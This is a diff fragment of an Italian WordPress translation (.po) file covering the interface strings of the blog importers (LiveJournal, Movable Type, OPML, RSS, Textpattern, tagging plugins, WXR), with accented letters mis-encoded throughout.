+msgstr "<strong>ATTENZIONE:</strong> Se vi sono molti articoli o molti commenti nel proprio LiveJournal questa operazione potrebbe richiedere parecchio tempo. Idealmente, si dovrebbe avviare questo processo solo se Ãš possibile lasciare il computer lavorare da solo mentre finisce l'importazione."
+
+#: wp-admin/import/livejournal.php:226
+msgid "Connect to LiveJournal and Import"
+msgstr "Connessione a LiveJournal ed importazione"
+
+#: wp-admin/import/livejournal.php:229
+msgid "<strong>NOTE:</strong> If the import process is interrupted for <em>any</em> reason, come back to this page and it will continue from where it stopped automatically."
+msgstr "<strong>NOTA:</strong> Se il processo di importazione viene interrotto per <em>qualsiasi</em> motivo, tornare a questa pagina e si proseguirÃ  automaticamente dal punto in cui ci si era fermati."
+
+#: wp-admin/import/livejournal.php:232
+msgid "<strong>NOTE:</strong> You appear to have JavaScript disabled, so you will need to manually click through each step of this importer. If you enable JavaScript, it will step through automatically."
+msgstr "<strong>NOTA:</strong> Sembra che JavaScript sia disabilitato, si dovrÃ  quindi manulamente fare clic ad ogni passaggio di questo importatore. Abilitando JavaScript, i vari passaggi avverranno in automatico."
+
+#: wp-admin/import/livejournal.php:277
+msgid "Post metadata has been downloaded, proceeding with posts..."
+msgstr "Sono stati scaricati i metadati degli articoli, si procede con il corpo degli articoli..."
+
+#: wp-admin/import/livejournal.php:375
+#, php-format
+msgid "Post <strong>%s</strong> already exists."
+msgstr "L'articolo <strong>%s</strong> Ãš giÃ  esistente."
+
+#: wp-admin/import/livejournal.php:377
+#, php-format
+msgid "Imported post <strong>%s</strong>..."
+msgstr "Importato articolo <strong>%s</strong>..."
+
+#: wp-admin/import/livejournal.php:386
+msgid "Couldn&#8217;t get post ID (creating post failed!)"
+msgstr "Impossibile recuperare l&#8217;ID dell&#8217;articolo (creazione articolo fallita)"
+
+#: wp-admin/import/livejournal.php:388
+msgid "Failed to create post."
+msgstr "Creazione atrticolo fallita."
+
+#: wp-admin/import/livejournal.php:433
+msgid "Could not get a cookie from LiveJournal. Please try again soon."
+msgstr "Impossibile ottenere un cookie da LiveJournal. Riprovare fra qualche minuto."
+
+#: wp-admin/import/livejournal.php:454
+msgid "Failed to retrieve comment meta information from LiveJournal. Please try again soon."
+msgstr "Recupero dei meta dati dei commenti da LiveJournal fallito. Riprovare fra un po'."
+
+#: wp-admin/import/livejournal.php:462
+msgid "You have no comments to import!"
+msgstr "Nessun commento da importare!"
+
+#: wp-admin/import/livejournal.php:489
+msgid " Comment metadata downloaded successfully, proceeding with comment bodies..."
+msgstr " Metadati dei commenti scaricati con successo, si prosegue col corpo dei commenti..."
+
+#: wp-admin/import/livejournal.php:514
+msgid "Failed to retrieve comment bodies from LiveJournal. Please try again soon."
+msgstr "Fallito il recupero del corpo dei commenti da LiveJournal. Riprovare fra qualche minuto."
+
+#: wp-admin/import/livejournal.php:596
+#: wp-admin/import/livejournal.php:604
+#: wp-includes/comment-template.php:29
+#: wp-includes/theme.php:229
+msgid "Anonymous"
+msgstr "Anonimo"
+
+#: wp-admin/import/livejournal.php:656
+msgid "LiveJournal is not responding to authentication requests. Please wait a while and then try again."
+msgstr "LiveJournal non risponde alle richieste di autenticazione. Attendere qualche minuto e riprovare."
+
+#: wp-admin/import/livejournal.php:666
+msgid "XML-RPC Request Failed -- "
+msgstr "Richiesta XML-RPC fallita -"
+
+#: wp-admin/import/livejournal.php:726
+msgid "Please enter your LiveJournal username <em>and</em> password so we can download your posts and comments."
+msgstr "Immettere il nome utente LiveJournal <em>e</em> la password cosÃ¬ da poter scaricaregli articoli e i commenti."
+
+#: wp-admin/import/livejournal.php:727
+#: wp-admin/import/livejournal.php:739
+msgid "Start again"
+msgstr "Avvia nuovamente"
+
+#: wp-admin/import/livejournal.php:738
+msgid "Logging in to LiveJournal failed. Check your username and password and try again."
+msgstr "Fallita l'autenticazione su LiveJournal. Verificare il nome utente e la password e riprovare."
+
+#: wp-admin/import/livejournal.php:780
+msgid "Importing Posts"
+msgstr "Importazione articoli"
+
+#: wp-admin/import/livejournal.php:781
+msgid "We&#8217;re downloading and importing your LiveJournal posts..."
+msgstr "Stiamo scaricando ed importando gli articoli da LiveJournal..."
+
+#: wp-admin/import/livejournal.php:785
+#, php-format
+msgid "Imported post batch %d of <strong>approximately</strong> %d"
+msgstr "Articoli importati, passo %d di <strong>approssimativamente</strong> %d"
+
+#: wp-admin/import/livejournal.php:803
+msgid "Uh oh &ndash; LiveJournal has disconnected us because we made too many requests to their servers too quickly."
+msgstr "Uh oh &ndash; LiveJournal ci ha disconnesso perchÃšp abbiamo eseguito troppe richieste ai loro server in maniera troppo rapida."
+
+#: wp-admin/import/livejournal.php:804
+msgid "We&#8217;ve saved where you were up to though, so if you come back to this importer in about 30 minutes, you should be able to continue from where you were."
+msgstr "Tuttavia abbiamo salvato tutto quello che abbiamo fatto sino ad ora, quindi se si riavvierÃ  questo importatore fra circa 30 minuti si potrÃ  proseguire dal punto in cui ci siamo fermati."
+
+#: wp-admin/import/livejournal.php:806
+#: wp-admin/import/livejournal.php:936
+msgid "Try Again"
+msgstr "Riprovare"
+
+#: wp-admin/import/livejournal.php:819
+#: wp-admin/import/livejournal.php:869
+msgid "Import the next batch"
+msgstr "Importa il batch successivo."
+
+#: wp-admin/import/livejournal.php:824
+msgid "Your posts have all been imported, but wait &#8211; there&#8217;s more! Now we need to download &amp; import your comments."
+msgstr "Tutti gli articoli sono stati importati, ma aspetta - c'Ãš dell'altro! Ora dovremo scaricare e importare i commenti."
+
+#: wp-admin/import/livejournal.php:825
+msgid "Download my comments &raquo;"
+msgstr "SCaricamento commenti personali"
+
+#: wp-admin/import/livejournal.php:840
+msgid "Downloading Comments"
+msgstr "Scaricamento commenti"
+
+#: wp-admin/import/livejournal.php:841
+msgid "Now we will download your comments so we can import them (this could take a <strong>long</strong> time if you have lots of comments)..."
+msgstr "Ora scaricheremo i commenti cosÃ¬ da poterli importare (ciÃ² potrebbe richiedere <strong>parecchio</strong> tempo se vi sono molti commenti)..."
+
+#: wp-admin/import/livejournal.php:866
+#, php-format
+msgid "Imported comment batch %d of <strong>approximately</strong> %d"
+msgstr "Commenti importati, passo %d di <strong>approssimativamente</strong> %d"
+
+#: wp-admin/import/livejournal.php:874
+msgid "Your comments have all been imported now, but we still need to rebuild your conversation threads."
+msgstr "I commenti sono stati tutti importati. Ma ora dobbiamo ricostruire la struttura delle conversazioni."
+
+#: wp-admin/import/livejournal.php:875
+msgid "Rebuild my comment threads &raquo;"
+msgstr "Ricostruzione del flusso dei miei commenti &raquo;"
+
+#: wp-admin/import/livejournal.php:888
+msgid "Threading Comments"
+msgstr "Commenti nidificati"
+
+#: wp-admin/import/livejournal.php:889
+msgid "We are now re-building the threading of your comments (this can also take a while if you have lots of comments)..."
+msgstr "Ora ricostruiremo la struttura dei commenti (ciÃ² potrÃ  richiedere un po' di tempo se vi sono molti commenti)..."
+
+#: wp-admin/import/livejournal.php:926
+#, php-format
+msgid "Successfully re-threaded %s comments."
+msgstr "Ricollegati con successo %s commenti"
+
+#: wp-admin/import/livejournal.php:961
+#: wp-admin/import/livejournal.php:989
+#, php-format
+msgid "Continuing in %d"
+msgstr "Prosecuzione in %d"
+
+#: wp-admin/import/livejournal.php:966
+msgid "Continuing"
+msgstr "Continua"
+
+#: wp-admin/import/livejournal.php:995
+msgid "Processing next batch."
+msgstr "Elaborazione batch successivo."
+
+#: wp-admin/import/livejournal.php:1053
+msgid "LiveJournal"
+msgstr "LiveJournals"
+
+#: wp-admin/import/livejournal.php:1053
+msgid "Import posts from LiveJournal using their API."
+msgstr "Importa articoli da LiveJourna tramite le sue API."
+
+#: wp-admin/import/mt.php:28
+msgid "Import Movable Type or TypePad"
+msgstr "Importa da Movable Type o TypePad"
+
+#: wp-admin/import/mt.php:39
+msgid "Howdy! We&#8217;re about to begin importing all of your Movable Type or Typepad entries into WordPress. To begin, either choose a file to upload and click &#8220;Upload file and import&#8221;, or use FTP to upload your MT export file as <code>mt-export.txt</code> in your <code>/wp-content/</code> directory and then click \"Import mt-export.txt\""
+msgstr "Salve! Stiamo per iniziare la procedura di importazione di tutte le voci di Movable Type o Typepad  in WordPress. Per iniziare, scegliere di caricare un file sul server e fare clic su &#8220;Carica ed importa un file,&#8221; o utilizzare FTP per caricare il file esportato da MT di nome <code>mt-export.txt</code> nella directory <code>/wp-content/</code> e quindi fare clic su \"Importa mt-export.txt\"."
+
+#: wp-admin/import/mt.php:47
+msgid "Or use <code>mt-export.txt</code> in your <code>/wp-content/</code> directory"
+msgstr "Oppure utilizzare il file <code>mt-export.txt</code> presente nella directory <code>/wp-content/</code>"
+
+#: wp-admin/import/mt.php:49
+msgid "Import mt-export.txt"
+msgstr "Importa mt-export.txt"
+
+#: wp-admin/import/mt.php:52
+msgid "The importer is smart enough not to import duplicates, so you can run this multiple times without worry if&#8212;for whatever reason&#8212;it doesn&#8217;t finish. If you get an <strong>out of memory</strong> error try splitting up the import file into pieces."
+msgstr "L&#8217;utilitÃ  di importazione riesce non importare eventuali duplicati, in tal modo Ãš possibile eseguirla piÃ¹ volte senza preoccupazioni se per qualsiasi motivo la prima volta non dovesse arrivare al termine. Se si verifica un errore <strong>out of memory</strong>, provare a suddividere il file da importare in piÃ¹ parti."
+
+#: wp-admin/import/mt.php:62
+#: wp-admin/import/wordpress.php:256
+#: wp-admin/includes/template.php:2486
+#: wp-admin/options-reading.php:41
+#: wp-admin/options-reading.php:42
+msgid "- Select -"
+msgstr "- Seleziona -"
+
+#: wp-admin/import/mt.php:196
+#: wp-admin/import/wordpress.php:202
+msgid "Assign Authors"
+msgstr "Assegna autori"
+
+#: wp-admin/import/mt.php:197
+msgid "To make it easier for you to edit and save the imported posts and drafts, you may want to change the name of the author of the posts. For example, you may want to import all the entries as admin&#8217;s entries."
+msgstr "Per facilitare la modifica e il salvataggio degli articoli e delle bozze importate, si potrebbe voler cambiare il nome dell&#8217;autore degli articoli. Ad esempio, si potrebbe voler importare tutti gli articoli come articoli di proprietÃ  dell&#8217amministratore (admin)."
+
+#: wp-admin/import/mt.php:198
+msgid "Below, you can see the names of the authors of the MovableType posts in <em>italics</em>. For each of these names, you can either pick an author in your WordPress installation from the menu, or enter a name for the author in the textbox."
+msgstr "In basso sono visualizzati i nomi degli autori di Movable Type in <i>corsivo<(i>. Per ciascuno di questi nomi Ãš possibile selezionare dal menu un autore WordPress oppure nella casella di testo un nome per l&#8217;autore."
+
+#: wp-admin/import/mt.php:199
+#: wp-admin/import/wordpress.php:206
+msgid "If a new user is created by WordPress, a password will be randomly generated. Manually change the user&#8217;s details if necessary."
+msgstr "Se viene creato un nuovo utente in WordPress, verrÃ  generata una password casuale. Se necessario cambiare i dettagli utente manualmente."
+
+#: wp-admin/import/mt.php:210
+msgid "Current author:"
+msgstr "Autore corrente:"
+
+#: wp-admin/import/mt.php:210
+#: wp-admin/import/wordpress.php:245
+#, php-format
+msgid "Create user %1$s or map to existing"
+msgstr "Creazione utente %1$s o collegamento a un utente esistente"
+
+#: wp-admin/import/mt.php:215
+#: wp-admin/import/wordpress.php:236
+#: wp-admin/includes/dashboard.php:135
+#: wp-includes/post-template.php:1142
+msgid "Submit"
+msgstr "Invia"
+
+#: wp-admin/import/mt.php:225
+msgid "<code>mt-export.txt</code> does not exist"
+msgstr "<code>mt-export.txt</code> non esiste"
+
+#: wp-admin/import/mt.php:231
+msgid "Sorry, there has been an error"
+msgstr "Si Ãš verificato un errore"
+
+#: wp-admin/import/mt.php:272
+#, php-format
+msgid "<br />Adding tags <i>%s</i>..."
+msgstr "<br />Aggiunta tag <i>%s</i>..."
+
+#: wp-admin/import/mt.php:291
+#: wp-admin/import/wordpress.php:532
+#, php-format
+msgid "(%s comment)"
+msgid_plural "(%s comments)"
+msgstr[0] "(%s commento)"
+msgstr[1] "(%s commenti)"
+
+#: wp-admin/import/mt.php:308
+#, php-format
+msgid "(%s ping)"
+msgid_plural "(%s pings)"
+msgstr[0] "(%s ping)"
+msgstr[1] "(%s ping)"
+
+#: wp-admin/import/mt.php:513
+msgid "Movable Type and TypePad"
+msgstr "Movable Type e TypePad"
+
+#: wp-admin/import/mt.php:513
+msgid "Import posts and comments from a Movable Type or Typepad blog."
+msgstr "Importa articoli e commenti da un blog Movable Type o TypePad."
+
+#: wp-admin/import/opml.php:14
+msgid "Import Blogroll"
+msgstr "Importa da blogroll"
+
+#: wp-admin/import/opml.php:35
+msgid "Import your blogroll from another system"
+msgstr "Importa il tuo blogroll da un altro sistema"
+
+#: wp-admin/import/opml.php:39
+msgid "If a program or website you use allows you to export your links or subscriptions as OPML you may import them here."
+msgstr "Se un programma o un sito web permette di esportare i propri link o le proprie sottoscrizioni in formato OPML Ãš possibile importarli da qui."
+
+#: wp-admin/import/opml.php:44
+msgid "Specify an OPML URL:"
+msgstr "Indica un URL OPML:"
+
+#: wp-admin/import/opml.php:49
+msgid "Or choose from your local disk:"
+msgstr "Oppure selezionalo dal tuo disco locale."
+
+#: wp-admin/import/opml.php:55
+msgid "Now select a category you want to put these links in."
+msgstr "Selezionare una categoria nella quale inserire questi link."
+
+#: wp-admin/import/opml.php:56
+msgid "Category:"
+msgstr "Categoria:"
+
+#: wp-admin/import/opml.php:67
+msgid "Import OPML File"
+msgstr "Importa file OPML"
+
+#: wp-admin/import/opml.php:125
+#, php-format
+msgid "Inserted <strong>%s</strong>"
+msgstr "Inserito <strong>%s</strong>"
+
+#: wp-admin/import/opml.php:129
+#, php-format
+msgid "Inserted %1$d links into category %2$s. All done! Go <a href=\"%3$s\">manage those links</a>."
+msgstr "Inserito link %1$d nella categoria %2$s. Tutto a posto! <a href=\"%3$s\">Gestisci questi link</a>."
+
+#: wp-admin/import/opml.php:135
+msgid "You need to supply your OPML url. Press back on your browser and try again"
+msgstr "Occorre inserire l&#8217;URL del file OPML. Tornare indietro con il browser e riprovare."
+
+#: wp-admin/import/opml.php:154
+#: wp-admin/includes/upgrade.php:107
+msgid "Blogroll"
+msgstr "Blogroll"
+
+#: wp-admin/import/opml.php:154
+msgid "Import links in OPML format."
+msgstr "Importa link in formato OPML"
+
+#: wp-admin/import/rss.php:26
+msgid "Import RSS"
+msgstr "Importa tramite feed RSS:"
+
+#: wp-admin/import/rss.php:41
+msgid "Howdy! This importer allows you to extract posts from an RSS 2.0 file into your blog. This is useful if you want to import your posts from a system that is not handled by a custom import tool. Pick an RSS file to upload and click Import."
+msgstr "Salve! Questo importatore consente di estrarre gli articoli da qualsiasi file RSS 2.0 e importarli nel proprio blog. Si tratta di una funzione molto utile se si vuole importare degli articoli da un sistema che non Ãš gestito da uno specifico strumento di importazione. Selezionare un file RSS da caricare e fare clic su Importa."
+
+#: wp-admin/import/rss.php:121
+msgid "Importing post..."
+msgstr "Sto importando l&#8217;articolo..."
+
+#: wp-admin/import/rss.php:126
+msgid "Post already imported"
+msgstr "Articolo giÃ  importato"
+
+#: wp-admin/import/rss.php:138
+msgid "Done !"
+msgstr "Terminato!"
+
+#: wp-admin/import/rss.php:197
+#: wp-includes/default-widgets.php:690
+msgid "RSS"
+msgstr "RSS"
+
+#: wp-admin/import/rss.php:197
+msgid "Import posts from an RSS feed."
+msgstr "Importa articoli da un feed RSS."
+
+#: wp-admin/import/stp.php:20
+msgid "Import Simple Tagging"
+msgstr "Importa Simple Tagging"
+
+#: wp-admin/import/stp.php:30
+msgid "Howdy! This imports tags from Simple Tagging 1.6.2 into WordPress tags."
+msgstr "Salve! Questo importatore, traduce i tag di Simple Tagging 1.6.2 in tag WordPress."
+
+#: wp-admin/import/stp.php:31
+msgid "This has not been tested on any other versions of Simple Tagging. Mileage may vary."
+msgstr "Questo programma non Ãš stato provato con altre versioni di Simple Tagging. Potrebbero verificarsi dei problemi."
+
+#: wp-admin/import/stp.php:32
+msgid "To accommodate larger databases for those tag-crazy authors out there, we have made this into an easy 4-step program to help you kick that nasty Simple Tagging habit. Just keep clicking along and we will let you know when you are in the clear!"
+msgstr "Per poter trasferire anche i grossi database degli autori maniaci dei tag, abbiamo realizzato un programma  in 4 passi per aiutare a trasferire queste brutte abitudini di Simple Tagging. Si dovrÃ  semplicemente continuare a fare click ed al termine faremo sapere quando si avrÃ  finito!"
+
+#: wp-admin/import/stp.php:36
+#: wp-admin/import/utw.php:36
+msgid "Step 1"
+msgstr "Passo 1"
+
+#: wp-admin/import/stp.php:73
+msgid "Reading STP Post Tags&#8230;"
+msgstr "Lettura tag STP Post&#8230;"
+
+#: wp-admin/import/stp.php:80
+#: wp-admin/import/utw.php:138
+msgid "No posts were found to have tags!"
+msgstr "Non sono stati trovati articoli con tag!"
+
+#: wp-admin/import/stp.php:91
+#: wp-admin/import/utw.php:153
+#, php-format
+msgid "Done! <strong>%s</strong> tag to post relationships were read."
+msgid_plural "Done! <strong>%s</strong> tags to post relationships were read."
+msgstr[0] "Fatto! &Egrave; stata letta <strong>%s</strong> relazione fra tag ed articolo."
+msgstr[1] "Fatto! Sono state lette <strong>%s</strong> relazioni fra tag ed articolo."
+
+#: wp-admin/import/stp.php:96
+#: wp-admin/import/utw.php:123
+msgid "Step 2"
+msgstr "Passo 2"
+
+#: wp-admin/import/stp.php:104
+#: wp-admin/import/utw.php:169
+msgid "Adding Tags to Posts&#8230;"
+msgstr "Aggiunta di tag agli articoli"
+
+#: wp-admin/import/stp.php:109
+#, php-format
+msgid "Done! <strong>%s</strong> tag was added!"
+msgid_plural "Done! <strong>%s</strong> tags were added!"
+msgstr[0] "Fatto! Aggiunto <strong>%s</strong> tag!"
+msgstr[1] "Fatto! Aggiunti <strong>%s</strong> tag!"
+
+#: wp-admin/import/stp.php:112
+#: wp-admin/import/utw.php:159
+msgid "Step 3"
+msgstr "Passo 3"
+
+#: wp-admin/import/stp.php:155
+msgid "OK, so we lied about this being a 4-step program! You&#8217;re done!"
+msgstr "OK, abbiamo mentito sul fatto che questo fosse un programma in 4 passi! Tutto finito!"
+
+#: wp-admin/import/stp.php:156
+#: wp-admin/import/utw.php:268
+msgid "Now wasn&#8217;t that easy?"
+msgstr "Non Ãš stato facile?"
+
+#: wp-admin/import/stp.php:169
+msgid "Import Simple Tagging tags into WordPress tags."
+msgstr "Importa i tag di Simple Tagging in tag WordPress."
+
+#: wp-admin/import/textpattern.php:56
+msgid "Import Textpattern"
+msgstr "Importa da Textpattern"
+
+#: wp-admin/import/textpattern.php:67
+msgid "Howdy! This imports categories, users, posts, comments, and links from any Textpattern 4.0.2+ into this blog."
+msgstr "Salve! Questo importatore trasferirÃ  categorie, utenti, articoli, commenti e link da un qualsiasi blog Textpattern 4.0.2+ in questo blog."
+
+#: wp-admin/import/textpattern.php:68
+msgid "This has not been tested on previous versions of Textpattern.  Mileage may vary."
+msgstr "Questo programma non Ãš stato provato con le versioni precedenti di Textpattern. Potrebbero verificarsi dei problemi."
+
+#: wp-admin/import/textpattern.php:69
+msgid "Your Textpattern Configuration settings are as follows:"
+msgstr "Le impostazioni di configurazione di Textpattern sono le seguenti:"
+
+#: wp-admin/import/textpattern.php:489
+#, php-format
+msgid "Done! <strong>%s</strong> link imported"
+msgid_plural "Done! <strong>%s</strong> links imported"
+msgstr[0] "Fatto! <strong>%1$s</strong> link importato."
+msgstr[1] "Fatto! <strong>%1$s</strong> link importati."
+
+#: wp-admin/import/textpattern.php:583
+msgid "Welcome to WordPress.  We hope (and expect!) that you will find this platform incredibly rewarding!  As a new WordPress user coming from Textpattern, there are some things that we would like to point out.  Hopefully, they will help your transition go as smoothly as possible."
+msgstr "Benvenuti in WordPress. Ci auguriamo che questa piattaforma riesca a sorprendervi e a soddisfarvi! Come utente proveniente da Textpattern ci sentiamo di chiarire alcune cose che aiuteranno ad effettuare il passaggio nel modo piÃ¹ semplice possibile."
+
+#: wp-admin/import/textpattern.php:585
+#, php-format
+msgid "You have already setup WordPress and have been assigned an administrative login and password.  Forget it.  You didn&#8217;t have that login in Textpattern, why should you have it here?  Instead we have taken care to import all of your users into our system.  Unfortunately there is one downside.  Because both WordPress and Textpattern uses a strong encryption hash with passwords, it is impossible to decrypt it and we are forced to assign temporary passwords to all your users.  <strong>Every user has the same username, but their passwords are reset to password123.</strong>  So <a href=\"%1$s\">Login</a> and change it."
+msgstr "WordPress Ãš giÃ  stato instllato e sono stati assegnati un nome utente e una password per le funzioni di amministrazione. Dimenticatele! Se non si aveva questo login in Textpattern, perchÃš di dovrebbe averlo qui?  Abbiamo tuttavia provveduto ad importare tutti gli utenti del sistema. Sfortunatamente vi Ãš un problema secondario. Textpattern e WordPress usano un sistema di cifratura forte delle password, quindi Ãš impossibile decifrarle e abbiamo dovuto assegnare una password temporanea a tutti gli utenti. <strong>Ciascun utente conserva il vecchio nome utente, ma la password viene azzerata ed impostata a password123.</strong>. Quindi effettuare il <a href=\"%1$s\">login</a> e cambiarla."
+
+#: wp-admin/import/textpattern.php:589
+msgid "Also, since you&#8217;re coming from Textpattern, you probably have been using Textile to format your comments and posts.  If this is the case, we recommend downloading and installing <a href=\"http://www.huddledmasses.org/category/development/wordpress/textile/\">Textile for WordPress</a>.  Trust me... You&#8217;ll want it."
+msgstr "Dal momento che si proviene da Textpattern, probabilmente si Ãš utilizzato il formato Textile per gli articoli e i commenti. In questo caso, raccomandiamo di scaricare ed installare <a href=\"http://www.huddledmasses.org/category/development/wordpress/textile/\">Textile per WordPress</a>. Credetemi... se ne avrÃ  davvero bisogno."
+
+#: wp-admin/import/textpattern.php:603
+msgid "Textpattern Database User:"
+msgstr "Utente del database di Textpattern"
+
+#: wp-admin/import/textpattern.php:604
+msgid "Textpattern Database Password:"
+msgstr "Password del database di Textpattern:"
+
+#: wp-admin/import/textpattern.php:605
+msgid "Textpattern Database Name:"
+msgstr "Nome del database di Textpattern"
+
+#: wp-admin/import/textpattern.php:606
+msgid "Textpattern Database Host:"
+msgstr "Nome host del database di Textpattern"
+
+#: wp-admin/import/textpattern.php:607
+msgid "Textpattern Table prefix (if any):"
+msgstr "Prefisso tabelle di Textpattern (se usato):"
+
+#: wp-admin/import/textpattern.php:698
+msgid "Textpattern"
+msgstr "Textpattern"
+
+#: wp-admin/import/textpattern.php:698
+msgid "Import categories, users, posts, comments, and links from a Textpattern blog."
+msgstr "Importa categorie, utenti, articoli e segnalibri da un blog Textpattern."
+
+#: wp-admin/import/utw.php:21
+msgid "Import Ultimate Tag Warrior"
+msgstr "Importa Ultimate Tag Warrior"
+
+#: wp-admin/import/utw.php:31
+msgid "Howdy! This imports tags from Ultimate Tag Warrior 3 into WordPress tags."
+msgstr "Salve! Questo importatore, importa i tag di Ultimate Tag Warrior 3 in tag WordPress."
+
+#: wp-admin/import/utw.php:32
+msgid "This has not been tested on any other versions of Ultimate Tag Warrior. Mileage may vary."
+msgstr "Questo programma non Ãš stato testato con altre versioni di Ultimate Tag Warrior. Potrebbero verificarsi dei problemi."
+
+#: wp-admin/import/utw.php:33
+msgid "To accommodate larger databases for those tag-crazy authors out there, we have made this into an easy 5-step program to help you kick that nasty UTW habit. Just keep clicking along and we will let you know when you are in the clear!"
+msgstr "Per poter trasferire anche i grossi database degli autori maniaci dei tag, abbiamo realizzato un programma  in 5 passi per aiutarvi a trasferire queste brutte abitudini di UTW. Si dovrÃ  semplicemente continuare a fare click ed al termine vi faremo sapere quando avrete finito!"
+
+#: wp-admin/import/utw.php:80
+msgid "Reading UTW Tags&#8230;"
+msgstr "Lettura tag UTW"
+
+#: wp-admin/import/utw.php:102
+msgid "The following tags were found:"
+msgstr "Sono stati trovati i seguenti tag:"
+
+#: wp-admin/import/utw.php:116
+msgid "If you don&#8217;t want to import any of these tags, you should delete them from the UTW tag management page and then re-run this import."
+msgstr "Se non si desidera importare nessuno di questi tag, di dovrÃ  rimuoverli dalla pagina di gestione dei tag di UTW e successivamente eseguire nuovamente questo importatore."
+
+#: wp-admin/import/utw.php:131
+msgid "Reading UTW Post Tags&#8230;"
+msgstr "Lettura tag articoli UTW"
+
+#: wp-admin/import/utw.php:174
+#, php-format
+msgid "Done! <strong>%s</strong> tag were added!"
+msgid_plural "Done! <strong>%s</strong> tags were added!"
+msgstr[0] "Fatto! Aggiunto <strong>%s</strong> tag!"
+msgstr[1] "Fatto! Aggiunti <strong>%s</strong> tag!"
+
+#: wp-admin/import/utw.php:178
+msgid "Step 4"
+msgstr "Passo 4"
+
+#: wp-admin/import/utw.php:266
+msgid "OK, so we lied about this being a 5-step program! You&#8217;re done!"
+msgstr "OK, abbiamo mentito sul fatto che questo fosse un programma in 5 passi! Tutto finito!"
+
+#: wp-admin/import/utw.php:288
+msgid "Import Ultimate Tag Warrior tags into WordPress tags."
+msgstr "Importa i tag di Ultimate Tag Warrior in tag WordPress."
+
+#: wp-admin/import/wordpress.php:38
+msgid "Import WordPress"
+msgstr "Importa WordPress"
+
+#: wp-admin/import/wordpress.php:53
+msgid "Howdy! Upload your WordPress eXtended RSS (WXR) file and we&#8217;ll import the posts, pages, comments, custom fields, categories, and tags into this blog."
+msgstr "Salve! Carica il tuo file WordPress eXtended RSS (WXR) e verranno importati all'interno di questo blog articoli, pagine,  commenti i campi personalizzati, categorie e tag."
+
+#: wp-admin/import/wordpress.php:54
+msgid "Choose a WordPress WXR file to upload, then click Upload file and import."
+msgstr "Selezionare un file WXR WordPress da caricare, quindi fare clic su Carica file e importa."
+
+#: wp-admin/import/wordpress.php:203
+msgid "To make it easier for you to edit and save the imported posts and drafts, you may want to change the name of the author of the posts. For example, you may want to import all the entries as <code>admin</code>s entries."
+msgstr "Per facilitare la modifica e il salvataggio degli articoli e delle bozze, si potrebbe voler cambiare il nome dell&#8217;autore degli articoli. Ad esempio, si potrebbe voler importare gli articoli come articoli di proprietÃ  dell&#8217;<code>autore</code>."
+
+#: wp-admin/import/wordpress.php:217
+msgid "Import author:"
+msgstr "Importa autore:"
+
+#: wp-admin/import/wordpress.php:226
+msgid "Import Attachments"
+msgstr "Importa allegati"
+
+#: wp-admin/import/wordpress.php:229
+msgid "Download and import file attachments"
+msgstr "Scarica ed importa gli allegati"
+
+#: wp-admin/import/wordpress.php:248
+msgid "Map to existing"
+msgstr "Mappa sull&#8217;esistente"
+
+#: wp-admin/import/wordpress.php:272
+msgid "Invalid file"
+msgstr "File non valido"
+
+#: wp-admin/import/wordpress.php:273
+msgid "Please upload a valid WXR (WordPress eXtended RSS) export file."
+msgstr "Perfavore carica un file di esportazione WXR (WordPress eXtended RSS) valido."
+
+#: wp-admin/import/wordpress.php:357
+msgid "All done."
+msgstr "Operazione completata."
+
+#: wp-admin/import/wordpress.php:357
+msgid "Have fun!"
+msgstr "Buon divertimento!"
+
+#: wp-admin/import/wordpress.php:561
+#, php-format
+msgid "Importing attachment <em>%s</em>... "
+msgstr "Importazione dell&#8217;allegato <em>%s</em>... "
+
+#: wp-admin/import/wordpress.php:569
+#, php-format
+msgid "Remote file error: %s"
+msgstr "Errore nel file remoto: %s"
+
+#: wp-admin/import/wordpress.php:580
+#: wp-includes/functions.php:2158
+msgid "Invalid file type"
+msgstr "Tipo di file non valido"
+
+#: wp-admin/import/wordpress.php:601
+#, php-format
+msgid "Skipping attachment <em>%s</em>"
+msgstr "Salto dell&#8217;allegato <em>%s</em>"
+
+#: wp-admin/import/wordpress.php:624
+msgid "Remote server did not respond"
+msgstr "Il server  remoto non risponde"
+
+#: wp-admin/import/wordpress.php:630
+#, php-format
+msgid "Remote file returned error response %1$d %2$s"
+msgstr "Il file remoto ha restituito una risposta di errore %1$d %2$s"
+
+#: wp-admin/import/wordpress.php:634
+msgid "Remote file is incorrect size"
+msgstr "Il file remoto ha una dimensione non corretta"
+
+#: wp-admin/import/wordpress.php:640
+#, php-format
+msgid "Remote file is too large, limit is %s"
+msgstr "Il file remoto Ãš troppo grande, il limite Ãš %s"
+
+#: wp-admin/import/wordpress.php:756
+msgid "Sorry, there has been an error."
+msgstr "Si Ãš verificato un errore."
+
+#: wp-admin/import/wordpress.php:805
+msgid "Import <strong>posts, pages, comments, custom fields, categories, and tags</strong> from a WordPress export file."
+msgstr "Importa <strong>articoli, pagine, commenti, campi personalizzati, categorie e tag</strong> da un file di esportazione di WordPress."
+
+#: wp-admin/import/wp-cat2tag.php:31
+msgid "Categories to Tags"
+msgstr "Da categorie a tag"
+
+#: wp-admin/import/wp-cat2tag.php:32
+msgid "Tags to Categories"
+msgstr "Da tag a categorie"
+
+#: wp-admin/import/wp-cat2tag.php:68
+#, php-format
+msgid "Convert Category to Tag."
+msgid_plural "Convert Categories (%d) to Tags."
+msgstr[0] "Conversione categoria in tag."
+msgstr[1] "Conversione categorie (%d) in tag."
+
+#: wp-admin/import/wp-cat2tag.php:70
+msgid "Hey there. Here you can selectively convert existing categories to tags. To get started, check the categories you wish to be converted, then click the Convert button."
+msgstr "Salve! Questo convertitore permette di convertire selettivamente le categorie esistenti in tag. Per iniziare, spuntare le caselle delle categorie che si desidera convertire e quindi fare clic sul pulsante Converti."
+
+#: wp-admin/import/wp-cat2tag.php:71
+msgid "Keep in mind that if you convert a category with child categories, the children become top-level orphans."
+msgstr "Occorre ricordarsi che se si converte una categoria con delle categorie figlie, questa categorie figlie perderanno le impostazioni relative alla categoria madre e diverranno categorie di primo livello orfane."
+
+#: wp-admin/import/wp-cat2tag.php:75
+msgid "You have no categories to convert!"
+msgstr "Nessuna categoria da convertire!"
+
+#: wp-admin/import/wp-cat2tag.php:92
+#: wp-admin/import/wp-cat2tag.php:168
+msgid "Uncheck All"
+msgstr "Togli spunta a tutti"
+
+#: wp-admin/import/wp-cat2tag.php:99
+#: wp-admin/import/wp-cat2tag.php:106
+#: wp-admin/import/wp-cat2tag.php:175
+#: wp-admin/import/wp-cat2tag.php:182
+msgid "Check All"
+msgstr "Seleziona tutto"
+
+#: wp-admin/import/wp-cat2tag.php:129
